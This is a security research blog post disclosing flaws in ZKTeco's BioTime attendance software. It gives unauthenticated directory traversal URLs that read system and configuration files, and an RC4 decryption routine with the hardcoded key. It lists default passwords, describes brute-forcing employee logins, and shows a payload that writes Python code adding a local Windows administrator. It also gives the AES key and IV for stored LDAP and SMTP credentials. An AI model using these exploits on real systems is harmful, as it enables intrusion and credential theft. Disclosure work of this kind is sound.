Fury of Fingers: BioTime RCE

Summary:

BioTime is a powerful web-based time and attendance management software that provides a stable connection to ZKTeco’s standalone push communication devices by Ethernet/WiFi/GPRS/3G and working as a private cloud to offer employee self-service by mobile application and web browser.”

While conducting an internal assessment our recon found a web application called BioTime. A quick search revealed that this application had several known vulnerabilities (https://www.cvedetails.com/vulnerability-list/vendor_id-17006/Zkteco.html) from 2023. The vulnerabilities included directory traversal and limited write capability. During the vulnerability research it was figured out that there are several other issues due to default configurations leading to privilege escalation on the application. This gave us the capability mainly to:

1. Read any file from the system and decrypt database credentials (Unauthenticated).
2. Write a file, to achieve remote code execution (Authenticated, but several default accounts present).
3. Decrypt LDAP, SMTP or SFTP credentials, if configured.

The results on FOFA, showed us a staggering 300,000 plus devices publicly hosted! Most of which are probably vulnerable because patches don’t seem to be easily available.

300k possibly vulnerable hosts

Directory Traversal (CVE-2023-38950):

The directory traversal is trivial and is unauthenticated and found in the iclock API. An attacker can read any file on the system by making sure the SN parameter fuzzy matches the url parameter. So, to read any file from the server a simple GET request with these parameters is sufficient. An example is as below:

{target}/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini

As long as the SN parameter matches any part of the URL the file will be printed out. To read the configuration file our URL would be:

{target}/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini


The passwords for the configured database (postgres, mssql or oracle) are in
attsite.ini and are encrypted. After some Delphi reversing it was found that RC4 was used to encrypt it with the key biotime.

def decrypt_rc4(base64_encoded_rc4, password="biotime"):
    encrypted_data = base64.b64decode(base64_encoded_rc4)
    cipher = ARC4.new(password.encode())
    decrypted_data = cipher.decrypt(encrypted_data)
    return decrypted_data.decode()

Now we have the have the capability to read the configuration file with clear text passwords of the database, in our case sa with the mssql server exposed. Potato time!

On a default instance the postgres database is always configured with the password biotime2019 but is only accessible from the localhost

Output of BioTime Decrypted config file:
[Options]
Port=81
Type=Apache
HOST=127.0.0.1
#OEM=
Services=1
Port0=34672

protocol=http

[DATABASE]
ENGINE=postgresql
NAME=biotime
USER=postgres
PASSWORD=biotime2019
PORT=7496
HOST=127.0.0.1

 

Privilege Escalation:

BioTime has a login prompt for employees, the problem is all employees are usually configured with default password 123456 when created. The usernames start from 1. The bigger problem is that session ids are not validated for the type of user accessing the application by default. This basically makes an employee an administrator by default, replaying any administrator action using the employee credentials is possible.

Our exploit brute forces users from 1 to 10 with the password 123456.

Valid Credentials found: Username is 1 and password is 123456
Auth Session ID: au79a0lc84f250ox8rhl7yqh9saw4ef6
Auth CSRF Token Cookie: DU2aHflAAjUBICNevDskiT8OQMAzeWNV7oIfJZ9b0kNrRdQzkHpDcFnU19hvs1Gs
Backup files list
{
    “code”: 0,
    “msg”: “”,
    “count”: 24,


Now that we have an authenticated user. We can use the
sessionid to enumerate for backups, if they don’t exist, create a backup and download the file. The download works because the location of the backup is directly accessible without authentication on newer versions 8.5.*.

There are a lot of possibilities to explore, only some aspects have been covered in the blogpost.

Remote Code Execution (CVE-2023-38951):

The application has a feature to add a SFTP host. This feature can be abused to achieve file write. Internally the application stores a file with SSH key to a folder called id_rsa_keys, only on versions 8.5.5 and above. The contents of the SSH key can be used as the contents of the file that we want to write and the location to write can be controlled with the parameter user_name. The username field is limited to 30 characters, hence not all locations are accessible.

NOTE: The prerequisite of creating a SFTP entry on the application requires a valid SSH credential of a machine you control.

    url = f{target}/base/sftpsetting/add/’
    myIpaddr = ‘192.168.0.11’
    myUser = ‘test’
    myPassword = ‘test@123’

We overwrite a file io.py present in the python folder that gets executed to add a local administrator.

    data = {
        ‘csrfmiddlewaretoken’: csrf_token_value,
        ‘host’:myIpaddr,
        ‘port’:22,
        ‘is_sftp’: 1,
        ‘user_name’: dirTraverse,
        ‘user_password’:myPassword,
        ‘user_key’:‘import os\nos.system(“net user /add omair190 KCP@ssw0rd && net localgroup administrators …’,
        ‘obj_id’: getID
    }

WARNING: It is recommended to read the io.py file first through the directory traversal and then restore the file.

LDAP, SMTP or SFTP Credentials:

If LDAP was used to integrate with the Active Directory we can decrypt the credentials as they are AES encrypted. Similarly for SMTP or SFTP. The exploit will search for any LDAP and SMTP credentials and will give the plaintext password. For password reset functionality to work, it is required that SMTP must be configured. The AES key and initialization vector were picked up from a decompiled pyc file.

AES_PASSWORD = b‘china@2018encryption#aes’
AES_IV = b‘zkteco@china2019’

In our assessments we have found that SMTP is more likely to be configured than LDAP.

Conclusion:

The exploit we wrote does all of the things listed above and more, if you explore enough. The vulnerability has been public for over a year and there doesn’t seem to be any proper channel to download updates. Hopefully, this helps changes it.

The PoC exploit can be found at https://github.com/omair2084/biotime-rce-8.5.5